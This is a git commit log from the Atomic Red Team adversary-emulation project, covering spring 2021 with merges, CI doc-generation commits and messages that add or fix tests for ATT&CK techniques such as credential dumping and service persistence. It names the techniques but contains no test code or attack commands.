CircleCI Atomic Red Team doc generator 1f69c7fb08 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-11 19:45:31 +00:00
CircleCI Atomic Red Team GUID generator 17eab72057 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-11 19:45:25 +00:00
Carl af0da25c0a Merge branch 'master' into t1036_005 2021-06-11 13:45:06 -06:00
Carl 707c970acc Merge pull request #1504 from madhavbhatt/T1110-004-Credential-Stuffing
T1110.004 : SSH Credential Stuffing FROM Linux , MacOS
2021-06-11 13:45:02 -06:00
Carl 0fa9b69292 Merge branch 'master' into t1036_005 2021-06-11 13:44:58 -06:00
Carl 120c6d840e Merge branch 'master' into T1110-004-Credential-Stuffing 2021-06-11 13:42:57 -06:00
CircleCI Atomic Red Team doc generator 0c19189bf8 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-11 19:40:11 +00:00
CircleCI Atomic Red Team GUID generator acb9c9d55e Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-11 19:40:02 +00:00
Carl 1e0e898c65 Merge pull request #1505 from rctgardner/t1003_007
T1003.007: OS Credential Dumping: Proc Filesystem
2021-06-11 13:39:39 -06:00
Carl 609e841708 Merge branch 'master' into t1003_007 2021-06-11 13:37:46 -06:00
CircleCI Atomic Red Team doc generator b97bfd31e6 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-10 17:18:45 +00:00
CircleCI Atomic Red Team GUID generator f123433567 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-10 17:18:39 +00:00
Suman Kar 1c799637ce New Dump credentials from Windows Credential Manager With PowerShell … (#1508)
* New Dump credentials from Windows Credential Manager With PowerShell [windows Credentials & web Credentials]

* Update T1555.yaml

* Update T1555.yaml

* use permanent github link for script

* use github permanent link for script

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-06-10 11:18:12 -06:00
CircleCI Atomic Red Team doc generator 2b3f9444ae Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-10 05:39:34 +00:00
Carrie Roberts 54486ba7a5 force the reg add and fix error where otm wasn't being created (#1511)
Co-authored-by: Keith McCammon <keith@redcanary.com>
2021-06-09 23:38:58 -06:00
CircleCI Atomic Red Team doc generator 733963824b Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-10 03:44:56 +00:00
CircleCI Atomic Red Team GUID generator ed7a8170cc Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-10 03:44:49 +00:00
tlor89 e70987c439 T1553.005 (#1509)
Co-authored-by: Toua Lor <tlor@nti.local>
2021-06-09 21:44:21 -06:00
rctgardner b7eee5a06d preserving exit code if whois ends early 2021-06-09 16:02:14 -06:00
rctgardner 1a3c693394 added 'whois file download' test to T1005 2021-06-09 13:28:07 -06:00
rctgardner 09c413e64a removed windows test from t1036.005 2021-06-09 13:25:13 -06:00
CircleCI Atomic Red Team doc generator 22f3da4960 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-09 18:41:04 +00:00
CircleCI Atomic Red Team GUID generator b74fd6246c Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-09 18:40:57 +00:00
Jorge Orchilles d3321c6a1f Create T1553.005 Atomic Test (#1506)
* Create T1553.005

* Create T1553.005.yaml

* Update T1553.005.yaml

* Update T1553.005.yaml

* Update T1553.005.yaml

* Update T1553.005.yaml

* Update T1553.005.yaml

* Update T1553.005.yaml

* Update T1553.005.yaml

* Updated T1553.005
2021-06-09 12:40:30 -06:00
rctgardner 3ae4d98bb8 Added 2 tests for T1036.005
One Windows and one Linux/macOS
2021-06-09 10:59:06 -06:00
CircleCI Atomic Red Team doc generator 1203ffc740 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-09 16:56:00 +00:00
Carrie Roberts 0b52ed3a40 remove unused arg, utilize other arg (#1497) 2021-06-09 10:55:25 -06:00
CircleCI Atomic Red Team doc generator 7e64b11098 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-09 16:52:02 +00:00
SecurityShrimp a3e66311c5 Update T1204.002.yaml (#1503)
added pls version setting to tests using IWR

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-06-09 10:51:35 -06:00
rctgardner 35dc0c0f96 Merge branch 'master' into t1003_007 2021-06-08 16:50:07 -06:00
rctgardner 6b3206b378 added Python script for T1003.007 2021-06-08 16:49:23 -06:00
rctgardner 47e1147dc1 Added T1003.007 OS Credential Dumping: Proc Filesystem 2021-06-08 15:50:25 -06:00
Madhav Bhatt 66f0a16f7a Merge branch 'master' into T1110-004-Credential-Stuffing 2021-06-07 15:19:05 -07:00
madhavbhatt 8b30864192 T1110.004 : SSH Credential Stuffing FROM Linux , MacOS 2021-06-07 15:17:31 -07:00
Bhavin Patel 0aa2ec226e Merge pull request #1498 from patel-bhavin/add_kubectl
adding kubectl to spec
2021-06-07 13:28:43 -07:00
Michael Haag 122e886d8e Merge branch 'master' into add_kubectl 2021-06-07 14:09:06 -06:00
CircleCI Atomic Red Team doc generator 72c9034498 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-07 15:44:18 +00:00
CircleCI Atomic Red Team GUID generator 22d753d55b Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-07 15:44:12 +00:00
Carl 98ec056e80 Merge pull request #1499 from madhavbhatt/T1543-002-Systemd-Create-Service-Modify-Service-Linux
T1543.002 : systemd create service modify service linux
2021-06-07 09:43:48 -06:00
Carl 5f475cbdaa Merge branch 'master' into T1543-002-Systemd-Create-Service-Modify-Service-Linux 2021-06-07 09:40:35 -06:00
piaconsigny d0aae687b1 Merge branch 'master' into pr-passwordspraying-azure 2021-06-07 08:36:09 -07:00
piaconsigny 3c787ea295 Change supported_platform to azure-ad 2021-06-07 17:33:23 +02:00
madhavbhatt 6214334306 Rolling back changes in md file to meet master branch 2021-06-04 14:30:48 -07:00
patel-bhavin 71a7a77e62 adding kubectl to spec 2021-06-04 14:30:15 -07:00
madhavbhatt 1a66af9e94 T1543.002 : Service Creation and Modification for Ubuntu, CentOS OR Kali 2021-06-04 14:22:11 -07:00
madhavbhatt ae9d4d507c Merge branch 'T1543-002-Systemd-Create-Service-Modify-Service-Linux' of github.com:madhavbhatt/atomic-red-team into T1543-002-Systemd-Create-Service-Modify-Service-Linux 2021-06-04 14:04:18 -07:00
madhavbhatt 6a9c9ac26f T1543.002 : Service Creation and Modification for Ubuntu, CentOS OR Kali 2021-06-04 13:58:10 -07:00
CircleCI Atomic Red Team doc generator e7182cfe18 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-04 17:23:45 +00:00
CircleCI Atomic Red Team GUID generator ecaa041b50 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-04 17:23:39 +00:00
Carl 008d524630 Merge pull request #1489 from madhavbhatt/T1552-001-Credentials-In-File-Github-Access-Token-Linux-MacOS
T1552.001 : Find and Access unsecured credentials in file - GitHub access token
2021-06-04 11:23:17 -06:00
Carl adca3ce292 Merge branch 'master' into T1552-001-Credentials-In-File-Github-Access-Token-Linux-MacOS 2021-06-04 11:21:11 -06:00
Adam Mashinchi c360d87db2 Merge pull request #1496 from amashinchi-rc/attck-v9-spec-update
Att&ck v9 spec update
2021-06-04 10:17:27 -07:00
Adam Mashinchi 90cd23d754 Merge branch 'master' into attck-v9-spec-update 2021-06-04 10:15:44 -07:00
Carl 2fdcd4f5a0 Merge branch 'master' into T1552-001-Credentials-In-File-Github-Access-Token-Linux-MacOS 2021-06-04 11:15:10 -06:00
CircleCI Atomic Red Team doc generator 94d442bcd6 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-04 17:14:26 +00:00
CircleCI Atomic Red Team GUID generator 1f1a002d89 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-04 17:14:19 +00:00
Carl 11ee0bf0e1 Merge pull request #1486 from madhavbhatt/T1037.004-Linux-Atomic-Test
Add test for T1037.004 that modifies rc.local and rc.common files on …
2021-06-04 11:13:35 -06:00
Carl f83e8abecb Merge branch 'master' into T1037.004-Linux-Atomic-Test 2021-06-04 11:12:59 -06:00
CircleCI Atomic Red Team doc generator 753c1d59ee Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-04 17:12:47 +00:00
Carl bc053b0958 Merge branch 'master' into T1037.004-Linux-Atomic-Test 2021-06-04 11:12:30 -06:00
Carl c45aed3d30 Merge pull request #1488 from madhavbhatt/T1543-002-Systemd-Create-Service-Modify-Service-Linux
Atomic Tests for T1543.002 : Ubuntu, CentOS, Kali
2021-06-04 11:12:12 -06:00
Carl 58ebbd7874 Merge branch 'master' into T1543-002-Systemd-Create-Service-Modify-Service-Linux 2021-06-04 11:07:00 -06:00
CircleCI Atomic Red Team doc generator 6c81bb1b0b Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-04 16:51:26 +00:00
CircleCI Atomic Red Team GUID generator 3afb4da266 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-04 16:51:20 +00:00
Alex Flores 9b35763381 adds test for enumerating unconstrained delegation (#1495)
* adds test for enumerating unconstrained delegation

* small update to wording on dependency

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-06-04 10:51:02 -06:00
Adam Mashinchi bf0731c080 Updating spec for ATT&CKv9
Including changes noted in https://github.com/redcanaryco/atomic-red-team/issues/1491
2021-06-03 13:51:20 -07:00
Adam Mashinchi 2d54a45364 Update Platforms and Executors for ATT&CKv9
Implement changes proposed in https://github.com/redcanaryco/atomic-red-team/issues/1491
2021-06-03 13:44:31 -07:00
Adam Mashinchi b5f6bd2414 Merge branch 'redcanaryco:master' into master 2021-06-03 13:34:17 -07:00
CircleCI Atomic Red Team doc generator 9a3528e027 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-03 13:47:03 +00:00
Carrie Roberts 1540de2d21 corrections as per BoBoSiKi008 (#1494)
see Issue #1490
2021-06-03 07:46:26 -06:00
CircleCI Atomic Red Team doc generator 7549cc7d61 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-03 02:48:44 +00:00
CircleCI Atomic Red Team GUID generator 3726625d58 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-06-03 02:48:38 +00:00
tlor89 980c7e8bd5 T1548.002-Update (#1492)
* T1548.002-Update

* formatting

Co-authored-by: Toua Lor <tlor@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-06-02 20:48:22 -06:00
madhavbhatt 3f7ee8151e T1552.001 : Find and Access Unsecured Github Credentials in File 2021-06-01 20:39:26 -07:00
madhavbhatt ae62a04ded T1552.001 : Find and Access Unsecured Github Credentials in File 2021-06-01 20:12:17 -07:00
madhavbhatt 557bd84925 Atomic Tests for T1543.002 : Ubuntu, CentOS, Kali 2021-06-01 19:56:20 -07:00
madhavbhatt b19ac6e34e Update T1037.004.md : Atomic Doc Generated using bin/generate-atomic-docs.rb 2021-05-29 22:48:31 -07:00
madhavbhatt cec771d64f Add test for T1037.004 that modifies rc.local and rc.common files on Linux 2021-05-29 14:54:22 -07:00
CircleCI Atomic Red Team doc generator e37f8c6178 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-05-28 15:42:02 +00:00
CircleCI Atomic Red Team GUID generator 590311f89d Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-05-28 15:41:55 +00:00
Carl 0166331439 Merge pull request #1473 from rctravis/kubernetes-related-tests
Kubernetes related tests
2021-05-28 09:41:34 -06:00
piaconsigny f0735020e7 T1110.003 azureadaccounts 2021-05-28 12:35:48 +02:00
Travis Lowe 2dc938d9bc merge conflict fix 2021-05-25 15:17:44 -05:00
Travis Lowe c4c8be57c2 Merge branch 'master' into kubernetes-related-tests 2021-05-25 15:16:59 -05:00
CircleCI Atomic Red Team doc generator f66d530189 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-05-24 21:17:52 +00:00
CircleCI Atomic Red Team GUID generator f4a410e08e Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-05-24 21:17:46 +00:00
surajpkhetani 4c09f9d307 Update T1027.yaml (#1469)
* Update T1027.yaml

Added new techniques #5 and #6 which are test cases for testing DLP.

* Update T1027.yaml

* Create T1027-cc-macro.xlsm

* Add files via upload

* Update T1027.yaml

* Update T1027.yaml

* Update T1027.yaml

Minor Changes

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-05-24 15:17:27 -06:00
CircleCI Atomic Red Team doc generator 507e5b8716 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-05-21 20:26:14 +00:00
CircleCI Atomic Red Team GUID generator afecbc9a2e Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-05-21 20:26:09 +00:00
Carl 20ec66a94c Merge pull request #1478 from willurbanski/wurb/k8s
Add kubernetes tests
2021-05-21 14:25:50 -06:00
Carl ccc2b06885 Merge pull request #1471 from bnt1006/1562.004_test1_cleanup
Update T1562.004.yaml
2021-05-21 14:25:28 -06:00
Will Urbanski e9a5700245 Merge branch 'master' into wurb/k8s 2021-05-21 14:00:14 -06:00
Carl 4708db0ffa Merge branch 'master' into 1562.004_test1_cleanup 2021-05-21 13:47:10 -06:00
CircleCI Atomic Red Team doc generator b3cf3df9d0 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-05-21 19:45:48 +00:00
Carl 0390ec12f4 Merge branch 'master' into 1562.004_test1_cleanup 2021-05-21 13:45:32 -06:00
Carl fe2510234a Merge pull request #1470 from bnt1006/T1562.001_Test1_cleanup
T1562.001 test1 cleanup
2021-05-21 13:45:21 -06:00
Carl e4666db0ed Merge branch 'master' into T1562.001_Test1_cleanup 2021-05-21 13:44:48 -06:00
CircleCI Atomic Red Team doc generator 1c49270032 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-05-21 19:42:23 +00:00
CircleCI Atomic Red Team GUID generator ca0b91d241 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-05-21 19:42:17 +00:00
Michael Boman e8dcc043a0 T1204.002 (#1476)
* Added T1204.002 test, with https://demo.wd.microsoft.com/Page/PUA test

* Make download URL configurable (so it can be mirrored locally).
Execure pua-file properly (& powershell syntax)

* Spell Remove-Item correctly...

* prereqs check should be a command, not string

* The PUA test-file is not Windows Defender centric, removing all Windows Defender references.

* Download the PUA file at test-time to check if PUA is detected when the file is downloaded

* remove comment

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-05-21 13:41:41 -06:00
CircleCI Atomic Red Team doc generator 4211b2b417 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-05-21 19:40:10 +00:00
CircleCI Atomic Red Team GUID generator 518aad427a Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-05-21 19:40:03 +00:00
Carl ce90428124 Merge pull request #1465 from bnt1006/T1135_test1_split
Update T1135.yaml
2021-05-21 13:39:42 -06:00
Carl ec39232f0d Merge branch 'master' into 1562.004_test1_cleanup 2021-05-21 13:39:29 -06:00
Carl 68f1fb6b84 Merge branch 'master' into T1135_test1_split 2021-05-21 13:38:54 -06:00
Will Urbanski 72cfa24ea4 add prereqs 2021-05-20 12:38:51 -06:00
Will Urbanski 41d83e93f1 update enterprise att&ck and build docs 2021-05-20 12:29:56 -06:00
Will Urbanski a464b3e144 update ATT&CK IDs 2021-05-20 12:16:51 -06:00
Will Urbanski 563b0cea66 update supported platforms for test 2 in t8062 2021-05-20 10:20:36 -06:00
Will Urbanski e62fe31e9a update for tests 2021-05-20 10:18:51 -06:00
Will Urbanski 92d460266b add k8s tests 2021-05-20 10:08:45 -06:00
dependabot[bot] 8d0a5c454c Bump nokogiri from 1.11.1 to 1.11.4 (#1472)
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.11.1 to 1.11.4.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.11.1...v1.11.4)

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-05-19 23:05:14 -06:00
CircleCI Atomic Red Team doc generator bc03931ed3 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-05-20 05:04:27 +00:00
tlor89 434c998df2 T1222.001 Test 5 prereq and cleanup (#1442)
* T1222.001 Test 5 prereq and cleanup

* Update T1222.001.yaml

* variable name correction

Co-authored-by: Toua Lor <tlor@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-05-19 23:04:01 -06:00
CircleCI Atomic Red Team doc generator e04077bfe6 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-05-20 04:59:49 +00:00
Isaac Sikkema a86a906ee8 Fix platform incompatible executors in T1553.004 and T1518 (#1474)
* Fix platform incompatible executors for T1553.004

* Fix platform incompatible executor for T1518
2021-05-19 22:59:28 -06:00
Travis Lowe a228373942 bash script for docker install prereq 2021-05-19 15:06:52 -05:00
Travis Lowe 5aad980a94 more tweaks 2021-05-19 13:58:33 -05:00
Travis Lowe e6c4db95ff typo fix 2021-05-19 13:54:30 -05:00
Travis Lowe 48390130cb more K8s things 2021-05-19 12:29:37 -05:00
Travis Lowe 3256279d28 kubernetes-token 2021-05-19 11:48:39 -05:00
Carl 94bfa95d65 Merge branch 'master' into T1135_test1_split 2021-05-19 09:42:04 -06:00
Brian Thacker 5a39c2c7f6 Update T1562.001.yaml
Added prereq commands to test 1
2021-05-19 08:31:29 -05:00
Brian Thacker 6aba5d3ef8 Update T1562.001.yaml
Test 1: changed commands to be executed via input arguments to account for different flavors of Linux. Added cleanup commands based on the same principle.
2021-05-18 15:10:05 -05:00
Brian Thacker 201459202f Update T1562.004.yaml
Test 1 edits: Simplified name, put commands into input variables to make test more versatile and not just for CentOS. Added cleanup commands using same method.
2021-05-18 13:40:29 -05:00
CircleCI Atomic Red Team doc generator e1989f2bec Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-05-18 15:24:18 +00:00
CircleCI Atomic Red Team GUID generator da2dd2b06b Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-05-18 15:24:12 +00:00
Alex Flores bba82c0d5e adds additional lsass dump test (#1467)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-05-18 09:23:39 -06:00
CircleCI Atomic Red Team doc generator 6a570c2a46 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-05-18 14:52:23 +00:00
tjgeorgen 7d494dcbce Fix file path for PowerDump Import (#1466)
seemed to download the module to $Env:Temp then run from .\, so I changed both to $Env:Temp
2021-05-18 08:51:47 -06:00
Brian Thacker b473355eaa Merge branch 'master' into T1135_test1_split 2021-05-16 16:22:13 -05:00
CircleCI Atomic Red Team doc generator 65510577ca Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-05-14 11:34:42 +00:00
CircleCI Atomic Red Team GUID generator 4578cb3549 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-05-14 11:34:35 +00:00
Wesley Cesar d4c78db8c4 Update T1082.yaml (#1435) 2021-05-14 05:34:01 -06:00
CircleCI Atomic Red Team doc generator 1186af54a7 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-05-13 20:44:17 +00:00
CircleCI Atomic Red Team GUID generator 5f57e740fb Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-05-13 20:44:10 +00:00
Ján Trenčanský a7a1e69bda WMI create process using indirect Win32_Process call (#1461)
* Win32_Process obfuscate

* T1047-8 cleanup command

* T1047-8 add process_to_execute argument

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-05-13 14:43:37 -06:00
Geoff Galitz ce9f8f63ba Fix minor typo Specigy -> Specify (#1462)
Co-authored-by: woodyhacker <cesarholz497@gmail.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-05-13 14:42:06 -06:00
Brook Riggio e062b5296d Update atomic_test_template.yaml (#1463) 2021-05-13 14:38:26 -06:00
Brian Thacker a0a56474ae Update T1135.yaml
Split test 1 into two tests one for macos and one for Linux. Linux test added prereq commands and used a different tool.
2021-05-09 17:43:33 -05:00
CircleCI Atomic Red Team doc generator 03ee9ef29b Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-05-08 18:03:02 +00:00
CircleCI Atomic Red Team GUID generator ef116ab4e0 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-05-08 18:02:55 +00:00
inc0gnit0 c6d8941307 Added T1560.002, T1486, T1059.006 - Blackbot Inc. (#1438)
* Added T1486

* Added T1560.002

* Added T1059.006

Co-authored-by: ryang <ryang@blackbot.io>
Co-authored-by: SpookySec <anonymousbot100110@gmail.com>
2021-05-08 12:02:28 -06:00
tlor89 cf2250b19c T1046_Update (#1460)
Co-authored-by: Toua Lor <tlor@nti.local>
2021-05-07 09:26:27 -06:00
dependabot[bot] a4c57bdae3 Bump rexml from 3.2.4 to 3.2.5 (#1455)
Bumps [rexml](https://github.com/ruby/rexml) from 3.2.4 to 3.2.5.
- [Release notes](https://github.com/ruby/rexml/releases)
- [Changelog](https://github.com/ruby/rexml/blob/master/NEWS.md)
- [Commits](https://github.com/ruby/rexml/compare/v3.2.4...v3.2.5)

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-05-03 16:59:59 -06:00
CircleCI Atomic Red Team doc generator 1b7cc49d63 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-05-03 22:58:57 +00:00
Brian Thacker ef179339ab Update T1562.001 Test 3 (#1456)
Added cleanup commands. Added elevation required
2021-05-03 16:58:37 -06:00
CircleCI Atomic Red Team doc generator 5fc22afd72 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-30 20:56:30 +00:00
monoors b43b7a6f07 Update T1056.004.yaml (#1453)
This parameter is required on systems where no internet explorer is installed, otherwise a parsing error will occur:

curl : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch
configuration is not complete. Specify the UseBasicParsing parameter and try again.
At line:2 char:1
+ curl https://www.example.com}
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
    + FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-04-30 14:55:54 -06:00
CircleCI Atomic Red Team doc generator 6bd8fc68e7 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-30 20:53:20 +00:00
tlor89 6b724298f1 T1562.002_Update (#1451)
Co-authored-by: Toua Lor <tlor@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-04-30 14:53:00 -06:00
CircleCI Atomic Red Team doc generator 5dd066ec61 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-30 20:50:27 +00:00
CircleCI Atomic Red Team GUID generator 50f1ea7a06 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-30 20:50:22 +00:00
Ján Trenčanský 731a7c9ed6 T1053.005 create SchduledTask using WMI class (#1434)
* ScheduledTask via WMI

* Fix typos and XML load

* Fix wrong cmdlet name in test name

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-04-30 14:49:42 -06:00
CircleCI Atomic Red Team doc generator 513b2f7cc9 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-30 20:42:42 +00:00
Michael Boman 0379f23997 Take 2 on making psexec a configurable dependency. (#1450)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-04-30 14:41:57 -06:00
CircleCI Atomic Red Team doc generator f9d21d9a0e Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-29 22:44:57 +00:00
MrOrOneEquals1 7cdea9c925 fix for install and check (#1452) 2021-04-29 16:44:35 -06:00
CircleCI Atomic Red Team doc generator 9129ed61a3 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-27 22:21:24 +00:00
CircleCI Atomic Red Team GUID generator e909621a57 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-27 22:21:19 +00:00
Wesley Cesar 6954425558 Update T1046.yaml (#1436)
* Update T1046.yaml

* Create T1046.py

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-04-27 16:20:51 -06:00
CircleCI Atomic Red Team doc generator b47fde5ba6 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-27 22:17:12 +00:00
Rodney f0dc61911a changed calc to notepad for T1055.012 (#1437)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-04-27 16:16:42 -06:00
CircleCI Atomic Red Team doc generator 650a5b6c27 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-27 21:59:00 +00:00
tlor89 6806b2ccc1 T-1562.004_Test6_Update (#1448)
* T-1562.004_Test6_Update

* add force to the copy command

Co-authored-by: Toua Lor <tlor@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-04-27 15:58:37 -06:00
CircleCI Atomic Red Team doc generator dcd84948b0 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-27 21:51:10 +00:00
Michael Boman dac15a5494 Fix #1443 (#1445)
* Fixes #1443 with updated URL to wireshark.

* Added npcap dependency

* Whitespace *sigh*

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-04-27 15:50:49 -06:00
CircleCI Atomic Red Team doc generator f32bcc822c Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-27 21:44:44 +00:00
Michael Boman 86b0d22094 T1078.001 make guest account configurable (#1447)
* Autocommit of generated test

* Fixed dependecy for psexec so the tool can be automatically downloaded.

* Delete T1036.002.yaml

* Fix #1446

* Delete T1021.002.yaml

Shouldn't appear in this branch...
2021-04-27 15:44:21 -06:00
CircleCI Atomic Red Team doc generator 7f899892ec Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-26 20:51:00 +00:00
Michael Boman 59d69167b7 Fixed an issue where -CheckPrereqs could not create the required files. (#1439) 2021-04-26 14:50:18 -06:00
CircleCI Atomic Red Team doc generator 7210a9b02f Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-19 17:50:30 +00:00
Anton Kutepov c14c0357dc [OSCD Sprint #2] Final Pull Request / Summary (#1431)
* Updating T1016 to include macos firewall enumeration

* Tests added

* standardize display name

* Add tests for T1134.001 Access Token Impersonation/Theft (#1236)

* Generate docs from job=validate_atomics_generate_docs branch=oscd

* adding socketfilterfw and cleaning up description formatting, adding description details

* Changing to device manufacturer based test

* Generate docs from job=validate_atomics_generate_docs branch=oscd

* Add test for T1006 Direct Volume Access (#1254)

* Generate docs from job=validate_atomics_generate_docs branch=oscd

* [OSCD] T1036.004: Masquerade Task or Service - 2 tests (#1253)

* T1036.004 - 2 tests added

* Update T1036.004.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>

* Generate docs from job=validate_atomics_generate_docs branch=oscd

* T1136.002 - 2 tests added (#1252)

* Generate docs from job=validate_atomics_generate_docs branch=oscd

* [OSCD] Create atomic test for T1113 for Windows (#1251)

* Generate docs from job=validate_atomics_generate_docs branch=oscd

* update T1564.002

* update T1564.002

* add Gatekeeper disable; add cleanup for security tools disable; add another launchagent for carbon black defense; remove Gatekeeper disable command from Gatekeeper bypass technique

* Added T1562.006 tests to emulate indicator blocking by modifying configuration files

* split linux and macos tests for TT1518.001; update processes list

* Update T1518.001.yaml

* Removed prereq and fixed command endings

* Indirect command execution - conhost (#1265)

* Generate docs from job=validate_atomics_generate_docs branch=oscd

* [OSCD] Office persiststence :  Office test (#1266)

* Office persiststence :  Office test

* Added technique details

* Generate docs from job=validate_atomics_generate_docs branch=oscd

* Generate docs from job=validate_atomics_generate_docs branch=oscd

* Generate docs from job=validate_atomics_generate_docs branch=oscd

* Generate docs from job=validate_atomics_generate_docs branch=oscd

* Remove index files to avoid CI complaints.

* Grr

* Generate docs from job=validate_atomics_generate_docs branch=oscd

* Generate docs from job=validate_atomics_generate_docs branch=oscd

* Update T1518.001.yaml

* [OSCD] Adding T1547.010 (#1264)

* Port monitor addition

* Rename T1547.010.yml to T1547.010.yaml

* Generate docs from job=validate_atomics_generate_docs branch=oscd

* Generate docs from job=validate_atomics_generate_docs branch=oscd

* Generate docs from job=validate_atomics_generate_docs branch=oscd

* Fixed typos in test names

Co-authored-by: remotephone@gmail.com <remotephone@gmail.com>
Co-authored-by: haresudhan <code@0x6c.dev>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
Co-authored-by: gregclermont <580609+gregclermont@users.noreply.github.com>
Co-authored-by: CircleCI Atomic Red Team doc generator <email>
